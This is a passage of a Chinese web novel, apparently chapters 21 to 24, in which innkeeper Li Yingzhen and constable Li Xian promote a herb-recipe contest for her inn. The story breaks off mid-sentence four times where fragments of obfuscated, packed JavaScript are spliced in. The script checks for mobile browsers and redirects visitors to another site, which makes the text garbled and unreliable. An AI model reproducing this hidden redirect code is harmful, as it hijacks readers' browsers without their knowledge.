“还有没有正事说?没事我走了。”将手里的草茎丢回竹篓里,她拿起竹篓就要离开。 拦在跟前的人跟座山似的,将她完全罩在他的身影里。 黎映真垂着眼,还跟最初那样,不说话,不理人。 后厨安静得能听见落在外头院墙墙脊上的鸟儿扇动翅膀的声音。 “这次的事确实是我不该。不该明知你想帮忙,还假意推脱,卸了你的防备让你去引对方出来。 “实是上回在城外林子里,他们误以为你是我们递送消息的线人,而我在办的事多时没有进展,一时心急才有此下策。 “你可以……别生气了吗?” 他认真道歉,有意放慢了语速好让黎映真能听清。 平日说话不见他这般小心翼翼,黎映真面上没反应,心里是有些动容的。 可凭这人有多少理由,也不该在她面前演戏演得跟真的一样。 “我都说了帮你了,也不知你在自说自话个什么劲儿,就一点儿不相信我!” 终于把心底的怨气吐了出来,她却觉得不够,视线恰好落在他鞋面上,她抬腿便是一脚踩了上去。 是用了力,但也只踩一下,不知在顾忌什么。 听见头顶传来一声轻笑,她抬头,凶巴巴地瞪着李弦,问道:“笑什么?” 努力压着嘴角反而让李弦眼里的笑意似初涨的春水一般完全溢了出来,他凑近些问道:“不生气了?” 他眸子亮得像盛满了天上的星星,又含着笑,是有些惹眼的好看。 但当意识到自己因此失神,黎映真更气,又是一脚踩在他鞋面上,抱着竹篓就从他身边钻了出去。 到门口时,想起在巷子里最后见到他看来有些虚弱却还在强撑的样子,她转头想问问他的伤。 不想李弦正投来视线,恰捉住了她的目光。 心口被什么东西撞了一下,脑子里也忽然有些乱,她忘了自己方才想说什么。 胡乱捡了一句“看什么”,没好气地丢给李弦,再瞪了他一眼,黎映真心烦意乱地离开了。 墙脊上的鸟儿飞走了,扑腾翅膀的声音又被李弦听见了。 嘴角的笑意止不住,尤其在发现桌上,黎映真还给他留了两碟小菜。 黎映真在茉城的最后一天,李弦突然就忙了起来,连阿琳都不见了踪影。 怕自己出门又遇麻烦,她便待在住处,专心整理回客栈后的安排,毕竟时间不等人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979423|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >回成安县的那一天,黎映真上了马车正要走,不想一个人影突然钻上了车。 不是李弦又是谁。 “哎呀,险些没赶上。”他左肩有伤,便只拿右边身子靠着车厢壁,恰好面对了黎映真。 看他惺惺作态的样子,黎映真瞥了他一眼,道:“茉城的事做完了?怎么不多待几日养养伤?” “放心吧,城郊那些香草有人看着,真有大用一根都不少你的。” “我可没说过那些都是我的。”黎映真嘟囔着,说完就咬住唇,怕漏了一些不想让李弦知道的情绪在脸上,被他看了去。 “嘶……”李弦不吃痛地叫了一声。 车上没多余的软垫,黎映真拿了自己的包袱垫在李弦身后,道:“这样舒服点儿。” 李弦配合着动了动身子,正想就着两人并排坐的姿势跟她说话,不料黎映真直接坐去了另一边,这下想看她都需特意扭头了。 苦笑着摇了摇头,李弦问道:“从你离开黎家至今,将近一个月了吧。” 一想起不停流逝的时间,她的脸上即刻浮现出愁绪。 挑开车窗帘子,眼底的苦闷随着投向秋光的视线无声流淌,她趴在车窗上,什么都没说。 “临时【识别】功能已关闭。” 突然响起的系统音将黎映真带回到混沌空间。 “我才用了一次,怎么就关闭功能了?” “临时功能,时间到了必须关闭。” “能永久开启吗?需要什么条件?” 熟悉的沉默。 她越来越觉得,所谓的这个萌新搭档有什么事瞒着自己。 甚至可能是刻意隐瞒了核心信息。 她对着虚空质问道:“能开启功能就代表有启动条件。作为搭档,你事先完全没有告诉我可以启用系统功能,现在让我怎么相信你?” “我越权修改了后台权限开启临时功能,开启时间太久被主机检测到的话,一旦我的系统崩溃,你的世界也会崩塌。”系统稍作沉默,真诚道,“搭档,请相信我。” 这次,换黎映真不作回应。 直觉告诉她系统还是没说实话,她的这个搭档绝对没有那么简单。 “系统即将达到最长断联时限,请宿主在明晨八点前回到中心区。” 这次,是机械平稳的金属音。 又称催命符。 黎映真的时间不多,路上也难保不会再出意外,因此她和李弦一路上没多做停留,几乎是一口气从茉城回到了成安县。 天边最后一丝霞光隐没去城墙后头,又是万物归寂的时候。 也是她重新回到系统给自己划定的牢笼中的时刻。 马车刚进了城门,黎映真想要下车。 “去哪儿?”李弦问道。 “回客栈。” “这不是送你回去呢。” “你应该先回去休息。” 眼角微合,李弦眼底划过一抹浅浅的笑意,道:“都一天了,不在乎这一时半刻。” 黎映真眸光暗下,想来他们赶路这么长时间,李弦多半不舒服,是她疏忽了。 “还是我先送你回去吧。”她满是歉意,顿了顿,又补充道,“你还有伤,这几日还要回衙门吗?” 这关心听来令人通体舒畅,也让李弦生了个主意。 他坐去黎映真身边,神神秘秘地看着她,道:“跟黎掌柜打个商量,可行?” 看他又是那副欠收拾的样子,黎映真故意拉长了脸,道:“我还没生完气呢。” 22. 第 22 章 “我还没生完气呢。” 黎映真视线落在和李弦之间的空气里,那里有飘飞的尘埃,还有李弦的衣角。 她本就在靠近车门的位置,稍微一动,半个肩膀便蹭到了车外,藏在身后的手像是自己有了意识,胡乱地抓着垂下的车帘。 绷直了帘子和门框间露了一道窄缝,最后的那丝夕阳从缝里照进来,恰擦过黎映真肩头,落在李弦靠近心口的衣襟上。 晚风跟着挤进车里,撩着黎映真鬓边的碎发。 见李弦抬手伸来,她下意识躲开,这便又钻回了车里。 耳边传来那人轻声一笑,又听他同车夫道:“回客来居吧。” 马车驶动,又慢慢在渐浓的暮色中停下。 客来居外,黎映真从车里下来时,瞧见阿桃和吴二正笑着跑出来接自己。 她还没来得及下车,他们就迎上来道:“掌柜的,你可算回来了。” 正要下车,不防身后忽地环上一阵暖意,黎映真逃也似的从车上跳下来,还没站稳已转身斥道:“你做什么吓人!” 李弦没接话,只递来黎映真的包袱。 她一把夺过,抱着包袱就往客栈里头走,还不忘叫一声阿桃。 “掌柜的,怎么了?”阿桃赶忙跟来。 “李捕快要在咱们这住几天,你带他去上回那间房吧。”话音才落,她又拉了一把要转身的阿桃,叮嘱道,“他左肩有伤,多注意着点,当是……请了尊多事佛回来吧。” 阿桃听着像是明白又不太明白,问道:“掌柜的,你这是要李捕快住,还是不要他住?” “我打开门做生意,他付得起钱,我不赚白不赚。”说着,黎映真的视线往身后一转,又很快收回来,抱紧了怀里的包袱,加快着脚步往自己房间去了。 夜里客栈打烊后,黎映真跟阿桃、孙伯等几个客栈的核心帮工开了会,了解前五日客栈的情况,也顺道将提前送回来的那车香草介绍给大家。 “掌柜的不在这几天,黎少……”吴二似是憋了口气,犹豫多时不想忍了,目光一横,道,“黎文远来过,还想捣乱呢。” “对,带着好几个地痞无赖过来的,想在客栈捣乱。”阿桃补充道。 走前想过会有这种情况发生,黎映真暗骂了黎文远一句,又问道:“然后呢?他有没有弄伤你们?” “这倒没有。掌柜的你不知道,黎文远带着那些人恨不得横着在咱们客栈走,给我气得,其实已经快忍不住要动手了。”吴二此时想起当时的情景还是气愤,不过很快又展颜道,“可是差一点儿,他们没得逞。” “怎么回事?”黎映着这好奇心算是被钓了起来。 吴二和阿桃相视一笑,没立刻揭秘。 一旁的孙伯笑道:“你们就别逗掌柜的了。是梁捕快,转眼就带人来了,给他们那伙人压着,气得脸红脖子粗的,只能憋着一肚子的气走了。” 几人说说笑笑间,黎映真却神情一滞,不由朝那扇连着后院的门望去。 “掌柜的,你让人送回来的那些草是有什么用?”孙伯问道。 提起那车香草,黎映真容光焕发,站起身道:“那是我去茉城最大的收获,也许能让咱们客栈迎来一个转机。” 吴二和阿桃不通厨艺,自然不明白黎映真在说什么。 孙伯倒是点头道:“那草初入口微苦,细品有回甘,香气持久不散……” “但是那东西吃了拉稀。”吴二打断道,“我就尝了那么一小口……差点就在茅房蹲得起不来了。” “让你小子嘴馋。”孙伯说着一掌拍在吴二背上,笑斥道,“都说了先炒熟再试,你非不听。” “让你不听咱们客栈后厨这个。”阿桃在一旁竖起大拇指,附和道,“该!” 有了孙伯的认可,黎映真悬着的心放下了大半。 但事关接下去的重要计划,慎重起见,她还是又向孙伯确定道:“孙伯也觉得这草大有可为?” “我试了几道小菜,加入这草可去腥提鲜,增添风味,可用。”孙伯点头道。 看这经验丰富的老厨头都点了头,黎映真信心倍增。 “啪啪。” 几记清脆的掌声响起,见几人都看着自己,黎映真昂首挺胸,宣布道:“那我就要发布‘寻宝令’了。” “寻宝令?掌柜的,这什么意思?” “寻什么宝?咱们县里还有宝藏?” “有人要切断客栈的食材源头,我就把这源头撒到外头去,撒到每一个人手里。”黎映真神秘一笑。 众人皆是一脸懵懂,不知黎映真究竟想要做什么。 看看时辰,黎映真眼底浮出另一抹情绪,她道:“时候不早了,你们都快回去歇息吧。我也要准备准备,吴二,明日要辛苦你了。” “有事只管吩咐,掌柜的要做的事,我肯定冲在前头。” 于是几人暂且散去,客来居大堂里的灯就此暗下。 却有一灯如豆,悄然停在后院的一间客房外。 两下敲门声后,房门打开。 “黎掌柜这是找我出气来了?”李弦倚着门问道。 灯火燃在黎映真身前,跟此时月光融在一起,勾勒着她的眉眼,不似平日笑逐颜开,却也未见有恼火怒意。 “来问问李捕快饿不饿。” “又想试菜?” 前一刻还看来有些卖关子的神秘样,瞬间只剩不服气的一撇嘴,烛光中,黎映真带着几分挑衅去看李弦,道:“去不去?” 听着是在问他,可她转头便自顾自走了。 后厨关了火,黎映真想试几个用小炉子就能煮的菜。 客栈里的存货不多,她依旧只取一点做小样,而李弦一直在旁看着。 没一会儿,几个小炉子都煮上了东西。 黎映真看着人在炉前等,但心思早不知飞去哪儿了。 李弦不吭声,只在门口看着,听着炉子里“咕嘟咕嘟”的声音,此起彼伏的,竟第一次觉得这后厨之事有些趣味。 炉前的人跟入了定似的半天一动不动,但炉子里的煮菜不等人,第一炉的砂锅盖子已被顶得不安分地动来动去。 回神时,黎映真才发现李弦已在自己身边。 这人徒手端开了滚烫砂锅,顺手再把炉火灭了。 “你……”黎映真惊道,“当心烫啊!” 李弦看了看已是通红的双手,不以为意,随意吹了几下,道:“没事。” 黎映真凑去他跟前,顷刻间皱起了眉头,那手指红得,她看着都觉得疼。 “又开一炉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983650|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”李弦提醒道。 “哦。”她匆忙应了一声,拿起灶上的巾子隔着,去端第二炉砂锅,“碗在左边橱里,帮我拿一下。” 李弦却道:“你去拿碗,我下炉子。” 看他说着话已去了第三炉砂锅前,黎映真却是转头跑了出去。 再回来时,四炉砂锅整齐摆在桌上,李弦正在倒第二炉砂锅里的煮菜。 走去李弦身边,静静等他把所有菜都倒在碗里,每样两份。 一份她的,一份他的。 “给。”她将沾了水的湿手巾递给他,“擦擦,烫。” 李弦将左手伸到黎映真面前,点着头道:“确实烫,方才做事太专心,这会儿真有点受不住。” 黎映真磨着牙,气呼呼瞪了李弦一眼,一手托着他的手腕,一手拿着湿手巾帮他擦了起来。 “出趟门还变娇气了,今年几岁了啊你,要别人帮你擦手。”一面说,她一面擦,动作算不得轻柔,却也没用多少力气。 擦完了右手,她将手巾朝这人身上一丢:“自己擦。” 转身尝样菜去了。 李弦叠好手巾放进袖袋里,跟到黎映真身边也吃了起来。 他没有做菜的天赋,也不擅长品菜,黎映真这四道煮菜对他而言只能是笼统的好吃,细说不出其中奥妙来。 黎映真却是认真,一口一口地吃,一点一点地品,不是眉头皱一皱,便是砸吧砸吧嘴,一双本就清亮澄澈的眼睛里总是翻着水浪似的,正是在思索比较。 她一认真,李弦就被晾在里一边。 不过谁又能说他跟着黎映真来蹭吃蹭喝不是好事呢。 “煮菜还是差点意思。”黎映真自言自语。 视线无意从身边扫过,她才发现李弦不知何时已去了外头。 桌上少了个碗,正是被他拿出去边吃边赏月。 月光烛火重叠,地上便不止一个影子。 看黎映真的影子出现在自己的影子边,李弦将碗里剩下的那点汤也都喝了,道:“味道不错。” 挨了夸,黎映真自然高兴,嘴角扬起,问李弦道:“那你有没有不舒服?” 看着碗底映射的些微月光,李弦这才知道她的真实意图,失笑道:“拿衙门公差试毒?这可是第二回了。” “在茉城那次是你先抢我的样菜,我都没同意。”黎映真反驳道,“你跟我说实话,有没有哪里不舒服?” 李弦又去看手里的碗,不知在斟酌什么,最后如实道:“没有。” 舒了口气,黎映真道:“那今晚就当是李捕快帮我的香草做个见证,这香草熟制之后可以正常食用。” “我做见证?”李弦嘴角翘得比往日都高,可嘴上只道,“我只是个小小捕快,人微言轻……” “不不不!”黎映真忙摆手道,“我早看出来了,李捕快在成安县绝对有大面子,好些百姓都听你的……” 眼见李弦不做声地转身就走,黎映真忙跟上,继续道:“我说真的,绝对没有恭维你的意思。我听赵叔赵婶说你可厉害了……” 接连不断的好话从黎映真的嘴里蹦出来,李弦分明知道她有所求,可这脸上的笑容偏偏止不住——挨夸嘛,谁会不爱听呢? 何况,黎映真夸他的话听着格外让他得意。 23. 第 23 章 翌日一早,客来居门口便是一阵热闹的铜锣敲打声。 赶早市的百姓们不少都被这动静吸引了注意,不多一会儿,客栈门口就站满了凑热闹的人。 “各位乡亲,有大事宣布!”吴二扯高了嗓子大声喊道。 说着,他用力敲了手中的铜锣,“铛”的一声,余音不散,更是惹得围观的百姓伸长了脖子想要看看这客来居又出了什么名堂。 “话说前几日因有人陷害,客来居食材被断,可是愁煞我们黎掌柜。 “她问遍咱们县内大小商户,竟是寻不到愿意出手相助之人,不得已去邻县寻找货源。” 吴二抑扬顿挫,说得声泪俱下,引得周围百姓议论纷纷起来。 “我说怎么好几日都没见着那疯丫头,原是去隔壁县了。” “还说呢,连着几日直播间都没开,他们还只供应什么限定套餐?说客栈升级,原来是出去找货源了。” “但你别说,那套餐我尝过,味道不错,就是花样少了些。” 又是一声高亢的铜锣声响,吴二继续道:“天见可怜,我们黎掌柜在外奔波时寻得一味神奇香草,入菜可增香添味,佐入药膳更有养生保健之功效,且千人千味,不可谓不妙。” 李弦常说黎映真嘴里蹦新词儿,这事儿在外人眼里便是她惯说疯言疯语,众人虽不常听“保健”之词,但跟药膳、养生这些词儿连在一块儿也约摸能明白是什么意思。 于是有人道:“你家掌柜出人意表,这神奇的香草哪里来?拿出来我们瞧瞧。” 一门之隔,黎映真和李弦正坐在客栈里头听着外头的动静。 听见这人阴阳怪气地说话,李弦不由去看黎映真,只见她正笑着低头剥花生米,手边的碟子里已放了小半碟剥好了的。 李弦捻了一粒丢进嘴里,道:“黎掌柜好气度。” 黎映真瞥了他一眼,将碟子拿远了一些,道:“吴二的词儿快说完了,该李捕快你上场了。” 有人坐着不动,只盯着那那叠花生米。 “我的。”黎映真手臂一拦,将碟子护在怀里,“要吃自己剥。” 想她以前也不护食,可当着李弦的面就是忍不住。 眼看那人抓了一把旁边没剥壳的花生这就走了,黎映真的视线不由跟着他。 她随手捻了一粒花生米吃,淡的,没味,不好吃,不晓得李弦怎么好像很喜欢的样子。 李弦出现的那一刻,百姓之中的气氛更是热烈起来。 “李捕快也在啊。” “黎掌柜看我孤家寡人,伤了没人照顾,好心收留我几日养伤。” “李捕快受伤了?” “李捕快这么好的身手也受伤了?” “去邻县公干,路上遇见黎掌柜,九死一生呐。” 李弦示意,吴二立刻搬来凳子。 他往人群中间一摆凳子,拂衣一坐,周围人又围近了一些。 “我身手再好,双拳难敌三四五六七八只手。” 众人大笑,而李弦剥着花生米吃,却觉得这东西一点儿味都没有,没黎映真亲手剥的好吃。 又剥了一颗,他丢上天,用嘴接住,边吃边继续道:“要说也是巧,我路上遇见黎掌柜,她顺手救了我一把。 “养伤的时候吧,她说看我平时在县里既有功劳也有苦劳,要亲手做点好吃的给我补补,就去外头找啊,还真被他找着了。” 外头那一出“好心掌柜救人遇香草”的奇遇在李弦嘴里说得引人入胜,连那几个原本在客栈里吃东西的食客也跟着出去听了。 只有黎映真坐着,对着那碟花生米哭笑不得,暗道这人做捕快还是屈才了,若是改行说书,大概早就暴富了。 这会儿所有人都听着李弦那口中那个绘声绘色的故事,连阿桃都停下手里的活,想要出去听。 黎映真将小姑娘叫到跟前,把那碟花生米交给她,道:“去跟李捕快说,废话太多,赶紧进正题。” “诶。”阿桃接了碟子便赶紧给李弦送去了花生米,低声与他转达了黎映真的话。 众人只见李弦脸上的瞬间笑开了花,一手托着那碟子跟献宝似的,在他们面前晃了一圈,才道:“要说这金不换是真奇怪。生草食用……啧啧啧。” 他不明说,只摇了摇手指,众人也就会意了。 “但若熟制后加入菜中,我嘴拙,道不出其中三分滋味,需诸位亲自品尝才知。” “真有这样神奇的香草?李捕快你别是拿我们大伙寻开心吧?” “是不是寻开心,你们试试不就知道了?” 李弦示意,吴二、孙伯等人搬上一只竹筐,框里是已经炒熟且分成小份的金不换香草。 “诸位。”李弦扬声,“今日客来居发‘寻宝令’,招募真厨大师以这金不换为题,做创意菜式,经初选、品尝、定菜后,将来只要这菜在客来居售出一份,便可得利,分账到时面议。” 此言一出,在场皆惊。 “李捕快,这金不换究竟什么来头,需这样大的阵仗?”问话之人边说,边往竹筐里探看。 “来头不大,就是想让乡亲们知道,有个法子一劳永逸。” 黎映真姗姗来迟,在万众瞩目下站在竹筐另一边,向李弦点头示意,以表感谢。 “我黎映真向大家保证,此次‘寻宝令’征集的菜谱,客来居绝对保密。若客栈没有履行承诺,成安县的公堂便是公正之地。” 她自竹筐中拿起一包金不换道:“我这香草随处可见,但大家的巧思不常见,且这想法若能投产便是千金不换,所以我才给这草取名‘金不换’。 “不论本就是掌勺大厨,还是居家妇人,只要有兴趣,都可以进客栈登记,领取金不换回去尝试。五天之内,大家都可以带着创意菜谱来客栈投稿初选。 “还有不放心的,等会儿可来客栈参与直播间抽奖,我们也有金不换试菜,大家可以先尝尝。” 有吴二先声夺人,再配合李弦的亲民拉拢,最后经黎映真直奔主题,“金不换”的名头算是在百姓中传开。 冲着李弦的面子,不少人午间便在客来居吃饭,都想看看那“金不换”的真面目。 冷清了几日的客来居突然又热闹起来,阿桃和吴二忙得脚不沾地,黎映真也穿梭在人群中忙忙碌碌,虽是迎来送往地笑着,却也看着热情友善,直教人觉得亲切。 这“寻宝令”一出,还真像是在成安县平静的湖面投下了一颗巨石,阿桃因此笑说感觉客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987473|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栈的门槛都快被进出的客人给踩烂了。 见阿桃正捶着后颈,黎映真上前帮她捏了捏,哄道:“好了好了,知道你们辛苦了,早点回去休息吧。” 阿桃整张脸都皱到了一块儿,那表情不知究竟是疼还是舒服:“啊啊啊,掌柜的就是这儿,舒服!” “没大没小的,哪有让掌柜的给你捏肩的。”吴二将最后一桌收拾好,笑着催促道,“赶紧走了,不然打搅掌柜的休息。” “李弦还没回来,我这儿歇不得。”说着,黎映真朝门口望了望。 “对啊,李捕快呢?”阿桃跑出客栈,在街上左顾右盼,又满脸疑惑地进来,“感觉一天没见着他了。” 吴二点头道:“是啊,就早晨那会儿他在,后头忙起来了,我也没见着他。” 想到在茉城的事,黎映真当下没再多说什么,只让阿桃和吴二先回去,而她一个人对账去了。 今日客栈的生意可算是近来最高,但当前的热度依然没能真正解决食材原料的危机,黎映真还是有很深顾虑的。 咬着笔杆发愁,她便没注意李弦回来。 当一个纸包出现在眼前时,她才见到柜台外颇为无奈的那双眉眼。 黎映真打开纸包,惊喜道:“曹记的酥饼?” 李弦不置可否,一条手臂搭上柜台,目光往里头飘,又只是见那本被合上了的账本。 “今日这出戏可是唱得累。”有人故意长长叹了一声,含笑的目光自黎映真身上打了个转。 “我剥的花生米都给你了,不过滋味比不过你这酥饼,好吃。”忙了一天没好好吃过东西,曹记的酥饼又是县里出了名的,她没骗李弦,这饼是真的美味,尤其热腾腾的,跟刚出炉似的。 肚子里的馋虫被酥饼的香味勾着,黎映真便有些狼吞虎咽。 李弦看她吃得脸颊都鼓了,拿了一旁的水壶倒了水给她,道:“曹伯还没收摊,你若喜欢吃,我再去买点儿。” 就着水咽下酥饼,黎映真摇摇头。 她一双眼睛本就圆溜溜的,这会儿那脸鼓着更是……让李弦想多看两眼。 黎映真没顾上李弦的视线,见人回来了就要去关门。 才从柜台后头绕出来,又听那人道:“你这征集菜谱的主意现在可是惹得不少关注,我回来的路上,连曹伯都跟我打听呢。” “那是。”黎映真满脸骄傲,“我这真是让人躺着赚钱的法子,他们能不动心?一个好的创意,就是值得人们为之花钱,这叫知识产权。” 李弦上去帮忙搭门板,道:“看来后头的计划你也已经想好了?” “必然。”黎映真煞有介事,“这波流量我如果能全部吃下,还成功转化,到时候客来居的名头打出去,还怕没有供货商自己找上门?” 她现在说话越来越“肆无忌惮”,好些词句李弦不见得能立刻明白,需前后多顺几遍,才能明白个七七八八。 每每这种时候,他的脸上便有笑意浮现,那笑里有他自己都没察觉的得意。 “笃笃。” 有人在外头敲门。 黎映真正奇怪是谁这个时候过来,开了门,见是一个陌生的少年。 “请问,金不换创意菜是在此处投稿吗?” 24. 第 24 章 门外的少年看着比黎映真小上几岁,还有些唯唯诺诺的。 见黎映真让了道,他也只是站在门口,不曾进来。 “李弦你吓着人家。”黎映真玩笑道。 往日多见笑颜的那张脸上即刻露出诧异之色。 李弦不解地看着黎映真,最后也只能是无奈摇头,回房休息去了,不知她跟那个少年究竟谈了些什么。 第二日客栈开门没多久,那个少年又出现在客来居,在门外张望了一阵,找到正在招呼客人的黎映真便快步过去。 “良生来了。”黎映真打了招呼,又唤来阿桃接自己的手,领着那个叫良生的少年去了后厨。 这几日为配合金不换的宣传,客栈每日都开直播间,孙伯主持后厨,颇为忙碌。 这会儿老厨头正围着围裙,在灶台前低着头琢磨着什么, “孙伯。”黎映真叫了一声,带良生过去,道,“这就是咱们第一个投稿人。” 孙伯看着眼前平平无奇的少年却是笑眯眯地点头道:“小家伙有想法,掌柜的都跟我说了,特意等你过来试菜呢。” 昨晚良生带着创意菜谱来找黎映真,因是第一份投稿,黎映真非常重视,加之孙伯又发愁直播间的菜式,便想着今日让良生亲自过来跟孙伯一起完成那份“酥炸金不换羊肉卷”。 一来能通过直播间给征集菜谱的活动造些声势,二来也给直播间上上新菜,一举两得。 良生的菜谱很简单,将金不换卷入薄切的羊肉中油炸即可,但他刀工不佳,也不清楚肉片卷和金不换的配比,因此由孙伯实际操作,做了不同大小和配比的五份小样。 “这金不换用来炒菜已是清香扑鼻,没想进了热油里香气更浓,光是闻着都馋。”孙伯拿起一份小样给黎映真,“掌柜的你尝尝。” 黎映真推给良生道:“你是作者,你先尝。” 良生本意推辞,可他实在好奇这炸菜的味道,于是尝了一口。 “怎么样?”黎映真迫不及待问道。 少年眼眸瞬间清亮,惊喜道:“皮酥草脆,咬断后满口留香,孙伯这火候刚刚好,口感比我想的好太多了。只是……羊肉如果腌制入味,口味单一,会不会多吃几次就腻了?” “这好办,多调几种口味的酱沾着吃就行了。”黎映真道,拿起另一份稍大的小样吃了一口,“咱们这羊肉只要稍有咸淡即可,不能抢了金不换的风头,而且一个羊肉卷不用太大,将将一口一个的大小,吃起来方便还有满足感。” 孙伯尝过后,连连点头道:“今日来不及腌制,我去调几个料汁,今日直播间的压轴菜就是这道‘酥炸金不换羊肉卷’了。” 见孙伯干劲十足,黎映真不做打扰,带良生出去时郑重向他保证道:“你这第一份投稿,我一定会珍而重之,好好完善,就算最后客栈没有采用这道菜,也不会把配方据为己有,该是你的就是你的。” “不不,我其实也没有出什么主意,只是有了一个粗陋的想法就莽莽撞撞来了,还是黎掌柜跟孙伯没有嫌弃。这道菜客栈如果喜欢,拿去就是了。” 提起菜式创意,良生眼底分明迸着光彩,可他说着说着便低下头去,总是不自信的模样。 “有你的主意才有这道菜,我们也只是在你的想法上改良,不可以据为己有。”黎映真拍了拍良生肩头,待少年看向自己,她嘴角挂起一个无比灿烂的笑容,“你很厉害,我昨天才发的公告,你晚上就来投稿,我还要谢谢你,帮我解决了直播间少特色菜的难题呢。” 自她眼中闪耀的赞许和那竖起的大拇指,让颔首低眉的少年逐渐抬起了头,嘴角也跟着扬高了些。 他用力向黎映真点头道:“多谢你,黎掌柜。不过,我要回去看书了。” 说完,他扭头就跑,没成想一头撞上了过来的李弦。 “李捕快。”他匆匆打了招呼,低着头就跑了。 李弦看着一溜烟跑开的少年,走去黎映真身边,问道:“你跟良生说了什么,他这么高兴?” “你认识他?” “醉仙楼张厨头家的宝贝独子。” 醉仙楼虽在城北,但在成安县也是有些名气的酒楼,他家厨头的儿子,竟到客来居投稿菜谱? 黎映真吃惊地瞪圆了一双眼睛看着李弦。 他倒是不以为意,绕着黎映真慢悠悠地转着圈,跟昨日在客栈门口那样,与她聊了起来。 “老张头不想良生和自己一样,一直让良生努力读书,可良生这孩子到底还是对庖厨有兴趣,这回你算是给了他一个机会。” “那如果让老张头知道,他的儿子来我这儿……” 话没说完,她见李弦一根食指已搭在了唇上,正是个噤声的手势。 黎映真会意,连连点头,却又想起李弦知情不报,遂埋怨他道:“你怎么不早说?” “你让我说了吗?”李弦反问,有些挑衅,又好似有些委屈。 想起昨晚是自己先赶的人,她直接没了声。 秋风里,她微微鼓起腮帮子又憋着嘴,活脱脱就是知道错却不想承认的耍赖样。 李弦不跟她计较,只冲她挑眉,调侃道:“我记得有人嘴是用来说话,那以后我还说不说?” 这人就在自己身边站着,弯下腰来比她肩高了些说话。 黎映真微侧过脸盯着他,越看他这讨打的模样越有气,也越好笑。 只是不想在他面前落了口实,这才一直憋着。 “哎呦。”李弦不吃痛叫了一声,捧腹问道,“你怎么还动手?” 轻轻用手肘捅了他一下就这副模样,黎映真道他装腔作势,哼了他一声提步就走。 可她又想确实是自己恩将仇报了,于是停下脚步,转头问道:“饿不饿,中午请你吃花生。” 有人动得比风还快,眨眼就到了黎映真跟前,笑问道:“黎掌柜剥的?” “想得美。”黎映真憋着笑,转身往大堂去了。 午市开市,客来居直播间当众推出第一款“金不换”创意菜,反响不错。 于是下午开始,不少相关投稿纷至沓来,甚至还有带着做好的样菜亲自上门找黎映真品尝的。 由此,黎映真白日招呼客栈的生意,一面分神接收投稿,等打了烊就跟孙伯和后厨的师父一起翻阅、筛选稿件。 每见有创意的菜谱,几人都会热烈讨论。 譬如孙伯正向黎映真推荐的“金丝翡翠羹”,以鸡茸为底,佐以金不换碎叶和嫩豆苗…… 灯影中的几人忙碌,一旁提着水壶过来的李弦适时给他们添茶。 “怎劳李捕快做这些,使不得。” “我夜来睡不着,看你们这儿热闹就过来看看。” 水从壶口落入黎映真杯中,李弦的目光就此落在她身上,问道:“我看这两日你们都看到很晚,看来收获颇丰” 比起其他人,黎映真对李弦这番殷勤倒是颇为受用,双手捧起茶杯凑到嘴边啜了一口热茶,想着这几日活动带来的热潮,正暗暗高兴。 “听李捕快这话,莫非也想露一手?”孙伯打趣道。 李弦连连摇头,道:“我这双手拿得起衙门的长刀,偏偏拿不动菜刀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995198|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 杯沿还似有若无地贴着被茶水沾湿的唇,黎映真调侃道:“不试试怎么知道自己不行?” 见他在自己身边坐下,两人挤在一张长凳上,她立刻往旁边挪了挪,不由咬上了杯沿。 李弦看她这促狭又故作镇定的样子,眼底笑意更浓,自倒了杯茶喝道:“我有自知之明。” 不知他在得意什么,尾音上扬得仿佛他身后长了尾巴一块儿翘去天上了。 之后李弦老实坐着,黎映真继续跟大伙翻阅投稿,渐渐却有了异常。 她回头翻了前头筛出来的两份稿子,又把手里的那份给孙伯,道:“孙伯,先在剩下的稿子里找找,有没有跟这份差不多的。” 其余几人开始着手翻找,黎映真则对比手里有的三份菜谱。 见她神情忽变,李弦不由凑近过去,问道:“怎么回事?” 